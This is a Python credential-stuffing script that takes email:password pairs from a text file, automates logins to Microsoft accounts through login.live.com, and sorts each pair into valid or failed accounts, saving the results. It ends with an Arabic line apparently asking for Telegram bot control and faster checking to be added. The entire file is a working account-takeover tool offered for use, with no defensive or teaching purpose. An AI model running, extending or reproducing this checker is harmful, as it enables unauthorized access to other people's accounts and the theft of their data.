import requests
import re
from urllib.parse import urlencode
from colorama import Fore, Style, init
from rich.console import Console
from rich.panel import Panel
from rich.text import Text

init(autoreset=True)

def multiexplode(delimiters, string):
    for delimiter in delimiters:
        string = string.replace(delimiter, delimiters[0])
    return string.split(delimiters[0])

def get_str(text, start, end):
    pattern = re.compile(f'{re.escape(start)}(.*?){re.escape(end)}', re.DOTALL)
    match = pattern.search(text)
    if match:
        return match.group(1)
    return ''

def test_account(email, senha):

    session = requests.Session()

    try:
        url1 = f"https://odc.officeapps.live.com/odc/emailhrd/getidp?hm=0&emailAddress={email}&_=1658200931493"
        headers1 = {
            'Host': 'odc.officeapps.live.com',
            'Connection': 'keep-alive',
            'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
            'Accept': '*/*',
            'X-CorrelationId': '448f226a-3df7-4b85-a7c8-7fb58bdf3bad',
            'sec-ch-ua-mobile': '?0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36',
            'X-Requested-With': 'XMLHttpRequest',
            'sec-ch-ua-platform': '"Windows"',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Dest': 'empty',
            'Referer': 'https://odc.officeapps.live.com/odc/v2.0/hrd?lcid=1046&syslcid=1046&uilcid=1046&app=1003&a=1&p=11&hm=0&ver=16&fpEnabled=1'
        }
        response1 = session.get(url1, headers=headers1)

        url2 = f"https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1658200919&rver=7.3.6963.0&wp=MBI_SSL_SHARED_SHORT&wreply=https:%2F%2Foffice.live.com:443%2Fstart%2FMyAccount.aspx%3Fomkt%3Dpt-br%26s%3D1%26auth%3D1%26nf%3D1&lc=1046&id=257526&lw=1&fl=easi2&cbcxt=1003&username={email}"
        headers2 = {
            'Host': 'login.live.com',
            'Connection': 'keep-alive',
            'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
            'Sec-Fetch-Site': 'same-site',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-User': '?1',
            'Sec-Fetch-Dest': 'document',
            'Referer': 'https://office.live.com/'
        }
        response2 = session.get(url2, headers=headers2)

        ppft = get_str(response2.text, '<input type="hidden" name="PPFT" id="i0327" value="', '"')
        url_post = get_str(response2.text, "urlPostMsa:'", "'").replace("\\", "")

        payload = {
            'i13': '0',
            'login': email,
            'loginfmt': email,
            'type': '11',
            'LoginOptions': '3',
            'lrt': '',
            'lrtPartition': '',
            'hisRegion': '',
            'hisScaleUnit': '',
            'passwd': senha,
            'ps': '2',
            'psRNGCDefaultType': '',
            'psRNGCEntropy': '',
            'psRNGCSLK': '',
            'canary': '',
            'ctx': '',
            'hpgrequestid': '',
            'PPFT': ppft,
            'PPSX': 'Passport',
            'NewUser': '1',
            'FoundMSAs': '',
            'fspost': '0',
            'i21': '0',
            'CookieDisclosure': '0',
            'IsFidoSupported': '1',
            'isSignupPost': '0',
            'i19': '26026'
        }
        headers3 = {
            'Host': 'login.live.com',
            'Cache-Control': 'max-age=0',
            'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'Upgrade-Insecure-Requests': '1',
            'Origin': 'https://login.live.com',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-User': '?1',
            'Sec-Fetch-Dest': 'document',
            'Referer': url2
        }
        response3 = session.post(url_post, headers=headers3, data=urlencode(payload))

        if "Sua conta ou senha está incorreta" in response3.text or \
           "Esta conta da Microsoft não existe" in response3.text or \
           "Insira uma conta diferente ou" in response3.text or \
           "senha incorreta" in response3.text or \
           "A conta ou a senha está incorreta" in response3.text or \
           "incorreta" in response3.text:
            return Fore.RED + f"Failed {email}|{senha} - incorrect."
        elif 'Digite a senha da sua conta da Microsoft' in response3.text:
            return Fore.YELLOW + f"Reprovada {email}|{senha} - Enter a password"
        elif 'recover?mkt' in response3.text:
            return Fore.GREEN + f"Failed {email}|{senha} - Requested authentication"
        elif not response3.text:
            return Fore.RED + f"Failed {email}|{senha} - Email doesnt exist"
        else:
            return Fore.GREEN + f"Valid {email}|{senha} - Valid"
    except Exception as e:
        return Fore.RED + f"Error while testing {email}|{senha}: {e}"

def print_banner():
    console = Console()
    
    logo = """

█▀ █▀█ ▄▀█ █▀█ ▀█▀ ▄▀█ █▄░█ █░█░█ ▄▀█ █▀█ █▀█ █ █▀█ █▀█ ▀█
▄█ █▀▀ █▀█ █▀▄ ░█░ █▀█ █░▀█ ▀▄▀▄▀ █▀█ █▀▄ █▀▄ █ █▄█ █▀▄ █▄
    """

    panel = Panel.fit(logo, title="[bold magenta]Created by: [cyan]@spartanwarriorz", border_style="green")
    console.print(panel)

    consx = Console(width=65, style="bold grey50")
    consx.print(Panel("[italic white] List [Email:Password] ~", subtitle="╭─────", subtitle_align="left"))

    path = console.input("[bold grey50]   ╰─> ")

def main():
    print_banner()

    try:
        with open('db.txt', 'r') as file:
            lines = file.readlines()

        results = []
        for line in lines:
            email, senha = line.strip().split(':')
            result = test_account(email, senha)
            print(result)  # Print result to console
            results.append(result)

        with open('results.txt', 'w') as result_file:
            for result in results:
                result_file.write(result + '\n')
    except FileNotFoundError:
        print(Fore.RED + "Arquivo db.txt not found.")
    except Exception as e:
        print(Fore.RED + f"Error executing script: {e}")

if __name__ == "__main__":
    main()          خلي تحكم تليجرام  بي كامل رفع ملف وخلي فحص سريع جداا